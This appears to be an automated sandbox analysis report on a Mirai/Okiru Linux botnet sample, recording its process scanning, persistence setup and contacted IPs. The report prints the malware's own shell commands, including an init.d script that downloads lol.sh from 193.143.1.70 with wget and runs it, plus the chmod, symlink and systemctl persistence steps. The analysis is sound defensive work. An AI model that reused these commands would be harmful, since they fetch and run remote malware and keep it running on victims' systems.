Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6434/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6411/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6433/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6390/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6447/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6446/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6429/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6428/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6362/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6441/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6440/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6443/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6442/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6401/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6445/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6400/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6444/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6436/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6435/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6438/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6437/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6418/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6417/status Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6337) File opened: /proc/6439/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/x86_64.nn.elf (PID: 6238) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6304) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6307) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6309) Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6311) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6314) Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6302) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6310) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6313) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6217) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.XjqyGdPUcL /tmp/tmp.54TXZwsV42 /tmp/tmp.WE7KFANlBU Jump to behavior
Source: /usr/bin/dash (PID: 6218) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.XjqyGdPUcL /tmp/tmp.54TXZwsV42 /tmp/tmp.WE7KFANlBU Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6263) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/x86_64.nn.elf (PID: 6228) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6302) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6310) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/x86_64.nn.elf (PID: 6228) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/x86_64.nn.elf (PID: 6228) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6307) Writes shell script file to disk with an unusual file extension: /etc/init.d/sh Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/x86_64.nn.elf (PID: 6228) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6307) File: /etc/init.d/sh Jump to dropped file
Source: x86_64.nn.elf, 6237.1.0000000001c31000.0000000001c33000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match File source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match File source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: x86_64.nn.elf PID: 6228, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: x86_64.nn.elf PID: 6237, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match File source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match File source: 6228.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 6237.1.0000000000400000.0000000000419000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: x86_64.nn.elf PID: 6228, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: x86_64.nn.elf PID: 6237, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
54.175.155.187
 unknown United States
14618 AMAZON-AESUS false
25.127.111.67
 unknown United Kingdom
7922 COMCAST-7922US false
99.66.159.85
 unknown United States
7018 ATT-INTERNET4US false
158.112.240.155
 unknown Norway
49278 NORDEFNO false
78.89.88.204
 unknown Kuwait
29357 WATANIYATELECOM-ASKW false
212.184.161.185
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
58.35.172.153
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
205.106.102.210
 unknown United States
647 DNIC-ASBLK-00616-00665US false
55.223.162.111
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
78.0.200.6
 unknown Croatia (LOCAL Name: Hrvatska)
5391 T-HTCroatianTelecomIncHR false
15.78.168.136
 unknown United States
54680 HP-BCRS-ALPHARETTA-GAUS false
22.34.51.50
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
26.115.224.4
 unknown United States
7922 COMCAST-7922US false
8.246.129.167
 unknown United States
3356 LEVEL3US false
43.28.168.229
 unknown Japan 4249 LILLY-ASUS false
130.201.71.102
 unknown United States
137 ASGARRConsortiumGARREU false
32.126.116.98
 unknown United States
7018 ATT-INTERNET4US false
70.74.123.149
 unknown Canada
6327 SHAWCA false
115.45.125.36
 unknown China
17962 TOPWAY-NETShenZhenTopwayVideoCommunicationCoLtdCN false
16.29.86.167
 unknown United States
unknown unknown false
150.177.115.212
 unknown United States
1480 DNIC-AS-01480US false
6.201.216.156
 unknown United States
3356 LEVEL3US false
159.99.74.215
 unknown United States
3371 MCI-ASNUS false
71.158.98.180
 unknown United States
7018 ATT-INTERNET4US false
205.140.96.108
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
155.125.183.116
 unknown United States
11003 PANDGUS false
80.156.57.204
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
68.248.192.21
 unknown United States
7018 ATT-INTERNET4US false
60.231.178.48
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
172.99.232.212
 unknown Reserved
395799 SVBUS false
149.13.0.241
 unknown United States
60483 TSBG-ASBG false
16.16.81.102
 unknown United States
unknown unknown false
96.31.249.199
 unknown United States
14265 US-TELEPACIFICUS false
51.215.108.58
 unknown United States
2686 ATGS-MMD-ASUS false
158.33.241.64
 unknown United States
721 DNIC-ASBLK-00721-00726US false
155.216.208.108
 unknown United States
1509 DNIC-ASBLK-01509-01510US false
116.56.15.114
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
49.229.147.114
 unknown Thailand
38444 SUPERBROADBANDNETWORK-AS-APSuperBroadbandNetworkTH false
179.151.96.17
 unknown Brazil
26599 TELEFONICABRASILSABR false
205.81.101.168
 unknown United States
647 DNIC-ASBLK-00616-00665US false
220.250.85.95
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
38.116.131.10
 unknown United States
174 COGENT-174US false
96.209.196.139
 unknown United States
7922 COMCAST-7922US false
169.206.132.207
 unknown United States
10430 WA-K20US false
81.219.131.180
 unknown Poland
12741 AS-NETIAWarszawa02-822PL false
12.50.225.238
 unknown United States
7018 ATT-INTERNET4US false
28.87.124.65
 unknown United States
7922 COMCAST-7922US false
186.225.61.230
 unknown Brazil
28368 SOBRALNETSERVICOSETELECOMUNICACOESLTDA-MEBR false
194.49.206.25
 unknown Germany
206487 NETVOZES false
129.142.229.58
 unknown Denmark
9158 TELENOR_DANMARK_ASDK false
158.192.13.218
 unknown France
9159 CreditAgricoleFR false
191.137.248.1
 unknown Brazil
26615 TIMSABR false
193.143.1.70
 unknown unknown
57271 BITWEB-ASRU false
82.100.106.205
 unknown Sweden
13189 LIDEROLideroNetworkSE false
201.87.54.176
 unknown Brazil
19182 TELEFONICABRASILSABR false
67.209.26.26
 unknown United States
33749 ATMCUS false
151.184.198.183
 unknown Netherlands
45025 EDN-ASUA false
75.40.73.165
 unknown United States
7018 ATT-INTERNET4US false
221.111.28.204
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
133.107.26.222
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
216.38.180.141
 unknown United States
6931 RINGLINGUS false
19.39.200.131
 unknown United States
3 MIT-GATEWAYSUS false
129.133.221.199
 unknown United States
167 WESLEYAN-ASUS false
28.107.51.90
 unknown United States
7922 COMCAST-7922US false
52.116.192.74
 unknown United States
36351 SOFTLAYERUS false
222.35.190.57
 unknown China
24138 CTTNETChinaTieTongTelecommunicationsCorporationCN false
187.25.50.137
 unknown Brazil
22085 ClaroSABR false
215.195.201.204
 unknown United States
721 DNIC-ASBLK-00721-00726US false
128.8.197.246
 unknown United States
27 UMDNETUS false
67.181.34.179
 unknown United States
7922 COMCAST-7922US false
209.44.168.111
 unknown United States
17306 RISE-BROADBANDUS false
157.188.219.166
 unknown United States
22252 AS22252US false
175.34.114.208
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
12.53.0.84
 unknown United States
7018 ATT-INTERNET4US false
78.59.1.232
 unknown Lithuania
8764 TELIA-LIETUVALT false
148.112.119.193
 unknown United States
396982 GOOGLE-PRIVATE-CLOUDUS false
116.63.119.225
 unknown China
58466 CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN false
91.228.89.212
 unknown Poland
197849 RACZEK_NET-ASEPIXKATWARPL false
87.107.198.90
 unknown Iran (ISLAMIC Republic Of)
41881 FANAVA-ASFanavaGroupCommunicationCoIR false
24.39.77.218
 unknown United States
11351 TWC-11351-NORTHEASTUS false
81.209.209.148
 unknown European Union
13237 LAMBDANET-ASEuropeanBackboneofAS13237DE false
34.58.244.19
 unknown United States
2686 ATGS-MMD-ASUS false
104.159.14.217
 unknown Canada
54198 VIANETCA false
38.202.249.45
 unknown United States
9009 M247GB false
131.64.179.230
 unknown United States
27064 DNIC-ASBLK-27032-27159US false
120.226.160.10
 unknown China
56047 CMNET-HUNAN-APChinaMobilecommunicationscorporationCN false
92.160.59.227
 unknown France
3215 FranceTelecom-OrangeFR false
189.69.6.126
 unknown Brazil
27699 TELEFONICABRASILSABR false
97.63.109.17
 unknown United States
22394 CELLCOUS false
192.218.93.75
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
219.189.69.90
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
173.8.141.66
 unknown United States
7922 COMCAST-7922US false
59.62.194.124
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
60.211.117.138
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
71.241.42.164
 unknown United States
701 UUNETUS false
146.254.89.43
 unknown Germany
25400 TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO false
54.23.34.251
 unknown United States
14618 AMAZON-AESUS false
56.76.75.179
 unknown United States
2686 ATGS-MMD-ASUS false
143.94.69.59
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
40.23.228.72
 unknown United States
4249 LILLY-ASUS false